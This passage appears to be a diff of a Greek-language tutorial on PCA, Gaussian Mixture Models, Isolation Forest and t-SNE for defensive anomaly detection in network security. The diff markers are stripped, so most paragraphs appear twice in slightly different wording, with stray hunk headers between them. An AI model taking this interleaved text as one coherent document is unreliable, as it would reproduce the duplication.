3. **Λύστε την εξίσωση ιδιοτιμών**: Η εξίσωση ιδιοτιμών που πρέπει να λυθεί είναι `C * v = λ * v` όπου C είναι η μήτρα συνδιακύμανσης, v είναι το ιδιοδιανύσμα και λ είναι η ιδιοτιμή. Μπορεί να λυθεί χρησιμοποιώντας μεθόδους όπως:
- **Αποσύνθεση Ιδιοτιμών**: Εκτελέστε αποσύνθεση ιδιοτιμών στη μήτρα συνδιακύμανσης για να αποκτήσετε τις ιδιοτιμές και τα ιδιοδιανύσματα.
- **Αποσύνθεση Σημαντικών Τιμών (SVD)**: Εναλλακτικά, μπορείτε να χρησιμοποιήσετε SVD για να αποσυνθέσετε τη μήτρα δεδομένων σε σημαντικές τιμές και διανύσματα, τα οποία μπορούν επίσης να αποδώσουν τις κύριες συνιστώσες.
- Ο πίνακας συνδιακύμανσης θα είναι ένας πίνακας 10,000x10,000 όπου κάθε είσοδος αντιπροσωπεύει τη συνδιακύμανση μεταξύ δύο pixels.
3. **Λύστε την εξίσωση ιδιοτιμών**: Η εξίσωση ιδιοτιμών που πρέπει να λυθεί είναι `C * v = λ * v` όπου C είναι ο πίνακας συνδιακύμανσης, v είναι το ιδιοδιανύσμα και λ είναι η ιδιοτιμή. Μπορεί να λυθεί χρησιμοποιώντας μεθόδους όπως:
- **Αποσύνθεση Ιδιοτιμών**: Εκτελέστε αποσύνθεση ιδιοτιμών στον πίνακα συνδιακύμανσης για να αποκτήσετε τις ιδιοτιμές και τα ιδιοδιανύσματα.
- **Αποσύνθεση Σημαντικών Τιμών (SVD)**: Εναλλακτικά, μπορείτε να χρησιμοποιήσετε SVD για να αποσυνθέσετε τον πίνακα δεδομένων σε σημαντικές τιμές και διανύσματα, τα οποία μπορούν επίσης να αποδώσουν τις κύριες συνιστώσες.
4. **Επιλογή Κύριων Συνιστωσών**: Ταξινομήστε τις ιδιοτιμές σε φθίνουσα σειρά και επιλέξτε τα κορυφαία K ιδιοδιανύσματα που αντιστοιχούν στις μεγαλύτερες ιδιοτιμές. Αυτά τα ιδιοδιανύσματα αντιπροσωπεύουν τις κατευθύνσεις της μέγιστης διακύμανσης στα δεδομένα.
> [!TIP]
> *Χρήσεις στην κυβερνοασφάλεια:* Μια κοινή χρήση της PCA στην ασφάλεια είναι η μείωση χαρακτηριστικών για ανίχνευση ανωμαλιών. Για παράδειγμα, ένα σύστημα ανίχνευσης εισβολών με 40+ μετρικές δικτύου (όπως χαρακτηριστικά NSL-KDD) μπορεί να χρησιμοποιήσει την PCA για να μειώσει σε λίγες συνιστώσες, συνοψίζοντας τα δεδομένα για οπτικοποίηση ή τροφοδοσία σε αλγόριθμους συμπλέγματος. Οι αναλυτές μπορεί να σχεδιάσουν την κυκλοφορία δικτύου στο χώρο των πρώτων δύο κύριων συνιστωσών για να δουν αν οι επιθέσεις διαχωρίζονται από την κανονική κυκλοφορία. Η PCA μπορεί επίσης να βοηθήσει στην εξάλειψη πλεοναζόντων χαρακτηριστικών (όπως τα bytes που αποστέλλονται σε σχέση με τα bytes που λαμβάνονται αν είναι συσχετισμένα) για να καταστήσει τους αλγόριθμους ανίχνευσης πιο ανθεκτικούς και ταχύτερους.
> *Χρήσεις στην κυβερνοασφάλεια:* Μια κοινή χρήση της PCA στην ασφάλεια είναι η μείωση χαρακτηριστικών για ανίχνευση ανωμαλιών. Για παράδειγμα, ένα σύστημα ανίχνευσης εισβολών με 40+ μετρικές δικτύου (όπως χαρακτηριστικά NSL-KDD) μπορεί να χρησιμοποιήσει την PCA για να μειώσει σε λίγες συνιστώσες, συνοψίζοντας τα δεδομένα για οπτικοποίηση ή τροφοδοσία σε αλγόριθμους συμπλέγματος. Οι αναλυτές μπορεί να σχεδιάσουν την κυκλοφορία δικτύου στο χώρο των πρώτων δύο κύριων συνιστωσών για να δουν αν οι επιθέσεις διαχωρίζονται από την κανονική κυκλοφορία. Η PCA μπορεί επίσης να βοηθήσει στην εξάλειψη πλεοναστικών χαρακτηριστικών (όπως τα bytes που αποστέλλονται σε σχέση με τα bytes που λαμβάνονται αν είναι συσχετισμένα) για να καταστήσει τους αλγόριθμους ανίχνευσης πιο ανθεκτικούς και ταχύτερους.
#### Υποθέσεις και Περιορισμοί
@ -231,37 +231,37 @@ print("First 5 data points in PCA space:\n", data_2d[:5])
### Gaussian Mixture Models (GMM)
Ένα Gaussian Mixture Model υποθέτει ότι τα δεδομένα παράγονται από ένα μείγμα **πολλών Gaussian (κανονικών) κατανομών με άγνωστες παραμέτρους**. Στην ουσία, είναι ένα πιθανοτικό μοντέλο ομαδοποίησης: προσπαθεί να αναθέσει ήπια κάθε σημείο σε μία από τις K Gaussian συνιστώσες. Κάθε Gaussian συνιστώσα k έχει έναν μέσο διάνυσμα (μ_k), πίνακα συνδιακύμανσης (Σ_k) και ένα βάρος ανάμειξης (π_k) που αντιπροσωπεύει πόσο διαδεδομένος είναι αυτός ο κόμβος. Σε αντίθεση με το K-Means που κάνει "σκληρές" αναθέσεις, το GMM δίνει σε κάθε σημείο μια πιθανότητα να ανήκει σε κάθε κόμβο.
Ένα Gaussian Mixture Model υποθέτει ότι τα δεδομένα παράγονται από ένα μείγμα **πολλών Gaussian (κανονικών) κατανομών με άγνωστες παραμέτρους**. Στην ουσία, είναι ένα πιθανοτικό μοντέλο ομαδοποίησης: προσπαθεί να αναθέσει ήπια κάθε σημείο σε μία από τις K Gaussian συνιστώσες. Κάθε Gaussian συνιστώσα k έχει έναν μέσο διάνυσμα (μ_k), πίνακα συνδιακύμανσης (Σ_k) και ένα βάρος μίξης (π_k) που αντιπροσωπεύει πόσο διαδεδομένος είναι αυτός ο κόμβος. Σε αντίθεση με το K-Means που κάνει "σκληρές" αναθέσεις, το GMM δίνει σε κάθε σημείο μια πιθανότητα να ανήκει σε κάθε κόμβο.
Η προσαρμογή GMM γίνεται συνήθως μέσω του αλγορίθμου Expectation-Maximization (EM):
- **Αρχικοποίηση**: Ξεκινήστε με αρχικές εκτιμήσεις για τους μέσους, τις συνδιακυμάνσεις και τους συντελεστές ανάμειξης (ή χρησιμοποιήστε τα αποτελέσματα του K-Means ως σημείο εκκίνησης).
- **Αρχικοποίηση**: Ξεκινήστε με αρχικές εκτιμήσεις για τους μέσους, τις συνδιακυμάνσεις και τους συντελεστές μίξης (ή χρησιμοποιήστε τα αποτελέσματα του K-Means ως σημείο εκκίνησης).
- **E-step (Προσδοκία)**: Δεδομένων των τρεχουσών παραμέτρων, υπολογίστε την ευθύνη κάθε κόμβου για κάθε σημείο: ουσιαστικά `r_nk = P(z_k | x_n)` όπου z_k είναι η λανθάνουσα μεταβλητή που υποδεικνύει την ιδιότητα του κόμβου για το σημείο x_n. Αυτό γίνεται χρησιμοποιώντας το θεώρημα του Bayes, όπου υπολογίζουμε την οπίσθια πιθανότητα κάθε σημείου να ανήκει σε κάθε κόμβο με βάση τις τρέχουσες παραμέτρους. Οι ευθύνες υπολογίζονται ως:
```math
r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
```
όπου:
- \( \pi_k \) είναι ο συντελεστής ανάμειξης για τον κόμβο k (προγενέστερη πιθανότητα του κόμβου k),
- \( \pi_k \) είναι ο συντελεστής μίξης για τον κόμβο k (προγενέστερη πιθανότητα του κόμβου k),
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) είναι η συνάρτηση πυκνότητας πιθανότητας Gaussian για το σημείο \( x_n \) δεδομένου του μέσου \( \mu_k \) και της συνδιακύμανσης \( \Sigma_k \).
- **M-step (Μέγιστη)**: Ενημερώστε τις παραμέτρους χρησιμοποιώντας τις ευθύνες που υπολογίστηκαν στο E-step:
- Ενημερώστε κάθε μέσο μ_k ως τον σταθμισμένο μέσο των σημείων, όπου τα βάρη είναι οι ευθύνες.
- Ενημερώστε κάθε συνδιακύμανση Σ_k ως τη σταθμισμένη συνδιακύμανση των σημείων που ανατέθηκαν στον κόμβο k.
- Ενημερώστε τους συντελεστές ανάμειξης π_k ως τη μέση ευθύνη για τον κόμβο k.
- Ενημερώστε κάθε συνδιακύμανση Σ_k ως τη σταθμισμένη συνδιακύμανση των σημείων που ανατίθενται στον κόμβο k.
- Ενημερώστε τους συντελεστές μίξης π_k ως τη μέση ευθύνη για τον κόμβο k.
- **Επαναλάβετε** τα βήματα E και M μέχρι τη σύγκλιση (οι παράμετροι σταθεροποιούνται ή η βελτίωση της πιθανότητας είναι κάτω από ένα κατώφλι).
Το αποτέλεσμα είναι ένα σύνολο Gaussian κατανομών που συλλογικά μοντελοποιούν τη συνολική κατανομή των δεδομένων. Μπορούμε να χρησιμοποιήσουμε το προσαρμοσμένο GMM για να ομαδοποιήσουμε αναθέτοντας κάθε σημείο στην Gaussian με τη μεγαλύτερη πιθανότητα, ή να κρατήσουμε τις πιθανότητες για αβεβαιότητα. Κάποιος μπορεί επίσης να αξιολογήσει την πιθανότητα νέων σημείων για να δει αν ταιριάζουν στο μοντέλο (χρήσιμο για ανίχνευση ανωμαλιών).
> [!TIP]
> *Χρήσεις στην κυβερνοασφάλεια:* Το GMM μπορεί να χρησιμοποιηθεί για ανίχνευση ανωμαλιών μοντελοποιώντας την κατανομή κανονικών δεδομένων: οποιοδήποτε σημείο με πολύ χαμηλή πιθανότητα κάτω από την εκμάθηση μείγματος επισημαίνεται ως ανωμαλία. Για παράδειγμα, θα μπορούσατε να εκπαιδεύσετε ένα GMM σε χαρακτηριστικά νόμιμης κυκλοφορίας δικτύου; μια επιθετική σύνδεση που δεν μοιάζει με κανέναν από τους μαθησιακούς κόμβους θα είχε χαμηλή πιθανότητα. Τα GMM χρησιμοποιούνται επίσης για την ομαδοποίηση δραστηριοτήτων όπου οι κόμβοι μπορεί να έχουν διαφορετικά σχήματα π.χ., ομαδοποιώντας χρήστες με βάση προφίλ συμπεριφοράς, όπου τα χαρακτηριστικά κάθε προφίλ μπορεί να είναι παρόμοια με Gaussian αλλά με τη δική τους δομή διακύμανσης. Ένα άλλο σενάριο: στην ανίχνευση phishing, τα χαρακτηριστικά νόμιμων email μπορεί να σχηματίσουν έναν Gaussian κόμβο, γνωστό phishing έναν άλλο, και νέες εκστρατείες phishing μπορεί να εμφανιστούν είτε ως ξεχωριστός Gaussian είτε ως σημεία χαμηλής πιθανότητας σε σχέση με το υπάρχον μείγμα.
> *Χρήσεις στην κυβερνοασφάλεια:* Το GMM μπορεί να χρησιμοποιηθεί για ανίχνευση ανωμαλιών μοντελοποιώντας την κατανομή κανονικών δεδομένων: οποιοδήποτε σημείο με πολύ χαμηλή πιθανότητα κάτω από το μαθημένο μείγμα επισημαίνεται ως ανωμαλία. Για παράδειγμα, θα μπορούσατε να εκπαιδεύσετε ένα GMM σε χαρακτηριστικά νόμιμης κυκλοφορίας δικτύου; μια επιθετική σύνδεση που δεν μοιάζει με κανέναν μαθημένο κόμβο θα είχε χαμηλή πιθανότητα. Τα GMM χρησιμοποιούνται επίσης για την ομαδοποίηση δραστηριοτήτων όπου οι κόμβοι μπορεί να έχουν διαφορετικά σχήματα π.χ., ομαδοποιώντας χρήστες με βάση προφίλ συμπεριφοράς, όπου τα χαρακτηριστικά κάθε προφίλ μπορεί να είναι παρόμοια με Gaussian αλλά με τη δική τους δομή διακύμανσης. Ένα άλλο σενάριο: στην ανίχνευση phishing, τα χαρακτηριστικά νόμιμων email μπορεί να σχηματίσουν έναν Gaussian κόμβο, γνωστό phishing έναν άλλο, και νέες εκστρατείες phishing μπορεί να εμφανιστούν είτε ως ξεχωριστός Gaussian είτε ως σημεία χαμηλής πιθανότητας σε σχέση με το υπάρχον μείγμα.
#### Υποθέσεις και Περιορισμοί
Το GMM είναι μια γενίκευση του K-Means που ενσωματώνει τη συνδιακύμανση, έτσι ώστε οι κόμβοι να μπορούν να είναι ελλειπτικοί (όχι μόνο σφαιρικοί). Διαχειρίζεται κόμβους διαφορετικών μεγεθών και σχημάτων εάν η συνδιακύμανση είναι πλήρης. Η ήπια ομαδοποίηση είναι πλεονέκτημα όταν τα όρια των κόμβων είναι ασαφή π.χ., στην κυβερνοασφάλεια, ένα γεγονός μπορεί να έχει χαρακτηριστικά πολλών τύπων επιθέσεων; το GMM μπορεί να αντικατοπτρίζει αυτή την αβεβαιότητα με πιθανότητες. Το GMM παρέχει επίσης μια πιθανοτική εκτίμηση πυκνότητας των δεδομένων, χρήσιμη για την ανίχνευση εξαιρετικών περιπτώσεων (σημεία με χαμηλή πιθανότητα κάτω από όλα τα στοιχεία του μείγματος).
Το GMM είναι μια γενίκευση του K-Means που ενσωματώνει τη συνδιακύμανση, έτσι ώστε οι κόμβοι να μπορούν να είναι ελλειψοειδείς (όχι μόνο σφαιρικοί). Διαχειρίζεται κόμβους διαφορετικών μεγεθών και σχημάτων εάν η συνδιακύμανση είναι πλήρης. Η ήπια ομαδοποίηση είναι πλεονέκτημα όταν τα όρια των κόμβων είναι ασαφή π.χ., στην κυβερνοασφάλεια, ένα γεγονός μπορεί να έχει χαρακτηριστικά πολλών τύπων επιθέσεων; το GMM μπορεί να αντικατοπτρίζει αυτή την αβεβαιότητα με πιθανότητες. Το GMM παρέχει επίσης μια πιθανοτική εκτίμηση πυκνότητας των δεδομένων, χρήσιμη για την ανίχνευση εξωτικών (σημείων με χαμηλή πιθανότητα κάτω από όλα τα στοιχεία του μείγματος).
Από την άλλη πλευρά, το GMM απαιτεί τον καθορισμό του αριθμού των συνιστωσών K (αν και μπορεί κανείς να χρησιμοποιήσει κριτήρια όπως BIC/AIC για να το επιλέξει). Το EM μπορεί μερικές φορές να συγκλίνει αργά ή σε τοπικό βέλτιστο, οπότε η αρχικοποίηση είναι σημαντική (συχνά εκτελείται το EM πολλές φορές). Εάν τα δεδομένα δεν ακολουθούν πραγματικά ένα μείγμα Gaussian, το μοντέλο μπορεί να είναι κακή εφαρμογή. Υπάρχει επίσης κίνδυνος να συρρικνωθεί μια Gaussian για να καλύψει μόνο μια εξαιρετική περίπτωση (αν και η κανονικοποίηση ή τα ελάχιστα όρια συνδιακύμανσης μπορούν να μετριάσουν αυτό).
Από την άλλη πλευρά, το GMM απαιτεί να καθορίσετε τον αριθμό των συνιστωσών K (αν και μπορείτε να χρησιμοποιήσετε κριτήρια όπως BIC/AIC για να το επιλέξετε). Το EM μπορεί μερικές φορές να συγκλίνει αργά ή σε τοπικό βέλτιστο, οπότε η αρχικοποίηση είναι σημαντική (συχνά εκτελείται το EM πολλές φορές). Εάν τα δεδομένα δεν ακολουθούν πραγματικά ένα μείγμα Gaussian, το μοντέλο μπορεί να είναι κακή εφαρμογή. Υπάρχει επίσης κίνδυνος να συρρικνωθεί μια Gaussian για να καλύψει μόνο μια εξωτική (αν και η κανονικοποίηση ή τα ελάχιστα όρια συνδιακύμανσης μπορούν να μετριάσουν αυτό).
```python
from sklearn.mixture import GaussianMixture
@ -281,21 +281,21 @@ print("Cluster membership probabilities for sample attack:", probs)
print("Log-likelihood of sample attack under GMM:", log_likelihood)
```
```markdown
Σε αυτόν τον κώδικα, εκπαιδεύουμε ένα GMM με 3 Γκαουσιανές πάνω στην κανονική κίνηση (υποθέτοντας ότι γνωρίζουμε 3 προφίλ νόμιμης κίνησης). Οι μέσοι και οι συνδιακυμάνσεις που εκτυπώνονται περιγράφουν αυτούς τους συμπλέκτες (για παράδειγμα, ένας μέσος μπορεί να είναι γύρω από [50,500] που αντιστοιχεί στο κέντρο ενός συμπλέκτη, κ.λπ.). Στη συνέχεια, δοκιμάζουμε μια ύποπτη σύνδεση [duration=200, bytes=800]. Η predict_proba δίνει την πιθανότητα αυτού του σημείου να ανήκει σε κάθε έναν από τους 3 συμπλέκτες θα περιμέναμε αυτές τις πιθανότητες να είναι πολύ χαμηλές ή πολύ skewed καθώς το [200,800] βρίσκεται μακριά από τους κανονικούς συμπλέκτες. Η συνολική score_samples (log-likelihood) εκτυπώνεται; μια πολύ χαμηλή τιμή υποδεικνύει ότι το σημείο δεν ταιριάζει καλά στο μοντέλο, σηματοδοτώντας το ως ανωμαλία. Στην πράξη, θα μπορούσε κανείς να θέσει ένα κατώφλι στη log-likelihood (ή στη μέγιστη πιθανότητα) για να αποφασίσει αν ένα σημείο είναι αρκετά απίθανο ώστε να θεωρηθεί κακόβουλο. Έτσι, το GMM παρέχει έναν αρχή που βασίζεται στην ανίχνευση ανωμαλιών και επίσης αποδίδει μαλακούς συμπλέκτες που αναγνωρίζουν την αβεβαιότητα.
Σε αυτόν τον κώδικα, εκπαιδεύουμε ένα GMM με 3 Γκαουσιανές σε κανονική κίνηση (υποθέτοντας ότι γνωρίζουμε 3 προφίλ νόμιμης κίνησης). Οι μέσοι και οι συνδιακυμάνσεις που εκτυπώνονται περιγράφουν αυτές τις ομάδες (για παράδειγμα, ένας μέσος μπορεί να είναι γύρω από [50,500] που αντιστοιχεί στο κέντρο μιας ομάδας, κ.λπ.). Στη συνέχεια, δοκιμάζουμε μια ύποπτη σύνδεση [duration=200, bytes=800]. Η predict_proba δίνει την πιθανότητα αυτού του σημείου να ανήκει σε κάθε μία από τις 3 ομάδες θα περιμέναμε αυτές τις πιθανότητες να είναι πολύ χαμηλές ή πολύ skewed καθώς το [200,800] βρίσκεται μακριά από τις κανονικές ομάδες. Η συνολική score_samples (log-likelihood) εκτυπώνεται; μια πολύ χαμηλή τιμή υποδεικνύει ότι το σημείο δεν ταιριάζει καλά στο μοντέλο, σηματοδοτώντας το ως ανωμαλία. Στην πράξη, θα μπορούσε κανείς να ορίσει ένα κατώφλι στη log-likelihood (ή στη μέγιστη πιθανότητα) για να αποφασίσει αν ένα σημείο είναι αρκετά απίθανο ώστε να θεωρηθεί κακόβουλο. Έτσι, το GMM παρέχει έναν αρχή που βασίζεται στην ανίχνευση ανωμαλιών και επίσης αποδίδει μαλακές ομάδες που αναγνωρίζουν την αβεβαιότητα.
</details>
### Isolation Forest
**Isolation Forest** είναι ένας αλγόριθμος ανίχνευσης ανωμαλιών που βασίζεται στην ιδέα της τυχαίας απομόνωσης σημείων. Η αρχή είναι ότι οι ανωμαλίες είναι λίγες και διαφορετικές, επομένως είναι πιο εύκολο να απομονωθούν από τα κανονικά σημεία. Ένα Isolation Forest κατασκευάζει πολλά δυαδικά δέντρα απομόνωσης (τυχαία δέντρα απόφασης) που διαχωρίζουν τα δεδομένα τυχαία. Σε κάθε κόμβο ενός δέντρου, επιλέγεται ένα τυχαίο χαρακτηριστικό και επιλέγεται μια τυχαία τιμή διαχωρισμού μεταξύ του ελάχιστου και του μέγιστου αυτού του χαρακτηριστικού για τα δεδομένα σε αυτόν τον κόμβο. Αυτός ο διαχωρισμός διαιρεί τα δεδομένα σε δύο κλάδους. Το δέντρο αναπτύσσεται μέχρι κάθε σημείο να απομονωθεί στο δικό του φύλλο ή να επιτευχθεί το μέγιστο ύψος δέντρου.
Η ανίχνευση ανωμαλιών πραγματοποιείται παρατηρώντας το μήκος της διαδρομής κάθε σημείου σε αυτά τα τυχαία δέντρα ο αριθμός των διαχωρισμών που απαιτούνται για να απομονωθεί το σημείο. Διαισθητικά, οι ανωμαλίες (outliers) τείνουν να απομονώνονται πιο γρήγορα επειδή ένας τυχαίος διαχωρισμός είναι πιο πιθανό να χωρίσει έναν outlier (ο οποίος βρίσκεται σε μια αραιή περιοχή) από ότι θα έκανε με ένα κανονικό σημείο σε έναν πυκνό συμπλέκτη. Το Isolation Forest υπολογίζει μια βαθμολογία ανωμαλίας από το μέσο μήκος διαδρομής σε όλα τα δέντρα: μικρότερο μέσο μήκος διαδρομής → πιο ανώμαλο. Οι βαθμολογίες συνήθως κανονικοποιούνται σε [0,1] όπου το 1 σημαίνει πολύ πιθανή ανωμαλία.
Η ανίχνευση ανωμαλιών πραγματοποιείται παρατηρώντας το μήκος της διαδρομής κάθε σημείου σε αυτά τα τυχαία δέντρα ο αριθμός των διαχωρισμών που απαιτούνται για να απομονωθεί το σημείο. Διαισθητικά, οι ανωμαλίες (outliers) τείνουν να απομονώνονται πιο γρήγορα επειδή ένας τυχαίος διαχωρισμός είναι πιο πιθανό να χωρίσει έναν outlier (ο οποίος βρίσκεται σε μια αραιή περιοχή) από ότι θα έκανε με ένα κανονικό σημείο σε μια πυκνή ομάδα. Το Isolation Forest υπολογίζει μια βαθμολογία ανωμαλίας από τον μέσο όρο μήκους διαδρομής σε όλα τα δέντρα: μικρότερος μέσος όρος διαδρομής → πιο ανώμαλο. Οι βαθμολογίες συνήθως κανονικοποιούνται σε [0,1] όπου το 1 σημαίνει πολύ πιθανή ανωμαλία.
> [!TIP]
> *Χρήσεις στην κυβερνοασφάλεια:* Τα Isolation Forest έχουν χρησιμοποιηθεί με επιτυχία στην ανίχνευση εισβολών και ανίχνευση απάτης. Για παράδειγμα, εκπαιδεύστε ένα Isolation Forest σε αρχεία καταγραφής κίνησης δικτύου που περιέχουν κυρίως κανονική συμπεριφορά; το δάσος θα παράγει σύντομες διαδρομές για περίεργη κίνηση (όπως μια IP που χρησιμοποιεί μια άγνωστη θύρα ή ένα ασυνήθιστο μοτίβο μεγέθους πακέτου), σηματοδοτώντας το για επιθεώρηση. Επειδή δεν απαιτεί επισημασμένες επιθέσεις, είναι κατάλληλο για την ανίχνευση άγνωστων τύπων επιθέσεων. Μπορεί επίσης να αναπτυχθεί σε δεδομένα σύνδεσης χρηστών για να ανιχνεύσει καταλήψεις λογαριασμών (οι ανώμαλες ώρες ή τοποθεσίες σύνδεσης απομονώνονται γρήγορα). Σε μία περίπτωση χρήσης, ένα Isolation Forest μπορεί να προστατεύσει μια επιχείρηση παρακολουθώντας μετρικές συστήματος και δημιουργώντας μια ειδοποίηση όταν ένας συνδυασμός μετρικών (CPU, δίκτυο, αλλαγές αρχείων) φαίνεται πολύ διαφορετικός (σύντομες διαδρομές απομόνωσης) από ιστορικά μοτίβα.
#### Υποθέσεις και Περιορισμοί
**Πλεονεκτήματα**: Το Isolation Forest δεν απαιτεί μια υπόθεση κατανομής; στοχεύει άμεσα στην απομόνωση. Είναι αποδοτικό σε δεδομένα υψηλής διάστασης και μεγάλες βάσεις δεδομένων (γραμμική πολυπλοκότητα $O(n\log n)$ για την κατασκευή του δάσους) καθώς κάθε δέντρο απομονώνει σημεία με μόνο ένα υποσύνολο χαρακτηριστικών και διαχωρισμών. Τείνει να χειρίζεται καλά τα αριθμητικά χαρακτηριστικά και μπορεί να είναι ταχύτερο από μεθόδους που βασίζονται σε απόσταση που μπορεί να είναι $O(n^2)$. Παρέχει επίσης αυτόματα μια βαθμολογία ανωμαλίας, ώστε να μπορείτε να ορίσετε ένα κατώφλι για ειδοποιήσεις (ή να χρησιμοποιήσετε μια παράμετρο μόλυνσης για να αποφασίσετε αυτόματα ένα όριο με βάση μια αναμενόμενη αναλογία ανωμαλιών).
**Πλεονεκτήματα**: Το Isolation Forest δεν απαιτεί μια υπόθεση κατανομής; στοχεύει άμεσα στην απομόνωση. Είναι αποδοτικό σε δεδομένα υψηλής διάστασης και μεγάλες βάσεις δεδομένων (γραμμική πολυπλοκότητα $O(n\log n)$ για την κατασκευή του δάσους) καθώς κάθε δέντρο απομονώνει σημεία με μόνο ένα υποσύνολο χαρακτηριστικών και διαχωρισμών. Τείνει να χειρίζεται καλά τα αριθμητικά χαρακτηριστικά και μπορεί να είναι ταχύτερο από μεθόδους που βασίζονται σε απόσταση που μπορεί να είναι $O(n^2)$. Παρέχει επίσης αυτόματα μια βαθμολογία ανωμαλίας, ώστε να μπορείτε να ορίσετε ένα κατώφλι για ειδοποιήσεις (ή να χρησιμοποιήσετε μια παράμετρο μόλυνσης για να αποφασίσετε αυτόματα ένα όριο με βάση ένα αναμενόμενο ποσοστό ανωμαλιών).
**Περιορισμοί**: Λόγω της τυχαίας φύσης του, τα αποτελέσματα μπορεί να διαφέρουν ελαφρώς μεταξύ των εκτελέσεων (αν και με αρκετά πολλά δέντρα αυτό είναι μικρό). Εάν τα δεδομένα έχουν πολλά άσχετα χαρακτηριστικά ή εάν οι ανωμαλίες δεν διαφοροποιούνται έντονα σε κανένα χαρακτηριστικό, η απομόνωση μπορεί να μην είναι αποτελεσματική (τυχαίοι διαχωρισμοί θα μπορούσαν να απομονώσουν κανονικά σημεία κατά τύχη ωστόσο, η μέση τιμή πολλών δέντρων μετριάζει αυτό). Επίσης, το Isolation Forest γενικά υποθέτει ότι οι ανωμαλίες είναι μια μικρή μειοψηφία (που συνήθως είναι αληθές σε σενάρια κυβερνοασφάλειας).
@ -323,12 +323,11 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
```markdown
Σε αυτόν τον κώδικα, δημιουργούμε το `IsolationForest` με 100 δέντρα και ορίζουμε `contamination=0.15` (σημαίνει ότι αναμένουμε περίπου 15% ανωμαλίες; το μοντέλο θα ορίσει το κατώφλι βαθμολογίας του έτσι ώστε ~15% των σημείων να επισημαίνονται). Το προσαρμόζουμε στο `X_test_if` που περιέχει ένα μείγμα κανονικών και επιθετικών σημείων (σημείωση: κανονικά θα προσαρμόζατε σε δεδομένα εκπαίδευσης και στη συνέχεια θα χρησιμοποιούσατε την πρόβλεψη σε νέα δεδομένα, αλλά εδώ για λόγους απεικόνισης προσαρμόζουμε και προβλέπουμε στο ίδιο σύνολο για να παρατηρήσουμε άμεσα τα αποτελέσματα).
Η έξοδος δείχνει τις προβλεπόμενες ετικέτες για τα πρώτα 20 σημεία (όπου το -1 υποδηλώνει ανωμαλία). Εκτυπώνουμε επίσης πόσες ανωμαλίες ανιχνεύθηκαν συνολικά και μερικές παραδείγματα βαθμολογιών ανωμαλίας. Αναμένουμε περίπου 18 από τα 120 σημεία να είναι επισημασμένα με -1 (καθώς η μόλυνση ήταν 15%). Αν τα 20 δείγματα επίθεσης είναι πραγματικά τα πιο απομακρυσμένα, τα περισσότερα από αυτά θα πρέπει να εμφανίζονται σε αυτές τις προβλέψεις -1. Η βαθμολογία ανωμαλίας (η συνάρτηση απόφασης του Isolation Forest) είναι υψηλότερη για κανονικά σημεία και χαμηλότερη (πιο αρνητική) για ανωμαλίες εκτυπώνουμε μερικές τιμές για να δούμε τη διαχωριστικότητα. Στην πράξη, κάποιος μπορεί να ταξινομήσει τα δεδομένα κατά βαθμολογία για να δει τις κορυφαίες ανωμαλίες και να τις ερευνήσει. Το Isolation Forest παρέχει έτσι έναν αποδοτικό τρόπο να φιλτράρει μεγάλα μη επισημασμένα δεδομένα ασφαλείας και να επιλέγει τις πιο ανώμαλες περιπτώσεις για ανθρώπινη ανάλυση ή περαιτέρω αυτοματοποιημένη εξέταση.
</details>
Η έξοδος δείχνει τις προβλεπόμενες ετικέτες για τα πρώτα 20 σημεία (όπου το -1 υποδηλώνει ανωμαλία). Εκτυπώνουμε επίσης πόσες ανωμαλίες ανιχνεύθηκαν συνολικά και μερικές παραδείγματα βαθμολογιών ανωμαλίας. Αναμένουμε περίπου 18 από τα 120 σημεία να είναι επισημασμένα με -1 (καθώς η μόλυνση ήταν 15%). Αν τα 20 δείγματα επίθεσης είναι πραγματικά τα πιο απομακρυσμένα, τα περισσότερα από αυτά θα πρέπει να εμφανίζονται σε αυτές τις προβλέψεις -1. Η βαθμολογία ανωμαλίας (η συνάρτηση απόφασης του Isolation Forest) είναι υψηλότερη για κανονικά σημεία και χαμηλότερη (πιο αρνητική) για ανωμαλίες εκτυπώνουμε μερικές τιμές για να δούμε τη διαχωριστικότητα. Στην πράξη, κάποιος μπορεί να ταξινομήσει τα δεδομένα κατά βαθμολογία για να δει τις κορυφαίες ανωμαλίες και να τις ερευνήσει. Το Isolation Forest παρέχει έτσι έναν αποδοτικό τρόπο να φιλτράρει μεγάλα μη επισημασμένα δεδομένα ασφαλείας και να επιλέγει τις πιο ανώμαλες περιπτώσεις για ανθρώπινη ανάλυση ή περαιτέρω αυτοματοποιημένο έλεγχο.
### t-SNE (t-Distributed Stochastic Neighbor Embedding)
### t-SNE (t-Διανεμημένη Στοχαστική Ενσωμάτωση Γειτόνων)
**t-SNE** είναι μια μη γραμμική τεχνική μείωσης διαστάσεων που έχει σχεδιαστεί ειδικά για την απεικόνιση υψηλής διάστασης δεδομένων σε 2 ή 3 διαστάσεις. Μετατρέπει τις ομοιότητες μεταξύ των σημείων δεδομένων σε κοινές κατανομές πιθανοτήτων και προσπαθεί να διατηρήσει τη δομή των τοπικών γειτονιών στην προβολή χαμηλότερης διάστασης. Με απλούς όρους, το t-SNE τοποθετεί σημεία σε (ας πούμε) 2D έτσι ώστε παρόμοια σημεία (στον αρχικό χώρο) να βρίσκονται κοντά το ένα στο άλλο και μη παρόμοια σημεία να βρίσκονται μακριά το ένα από το άλλο με υψηλή πιθανότητα.
**t-SNE** είναι μια μη γραμμική τεχνική μείωσης διαστάσεων που έχει σχεδιαστεί ειδικά για την απεικόνιση υψηλής διάστασης δεδομένων σε 2 ή 3 διαστάσεις. Μετατρέπει τις ομοιότητες μεταξύ των σημείων δεδομένων σε κοινές κατανομές πιθανοτήτων και προσπαθεί να διατηρήσει τη δομή των τοπικών γειτονιών στην προβολή χαμηλότερης διάστασης. Με απλά λόγια, το t-SNE τοποθετεί σημεία σε (ας πούμε) 2D έτσι ώστε παρόμοια σημεία (στον αρχικό χώρο) να βρίσκονται κοντά το ένα στο άλλο και μη παρόμοια σημεία να βρίσκονται μακριά το ένα από το άλλο με υψηλή πιθανότητα.
Ο αλγόριθμος έχει δύο κύριες φάσεις:
@ -345,13 +344,13 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
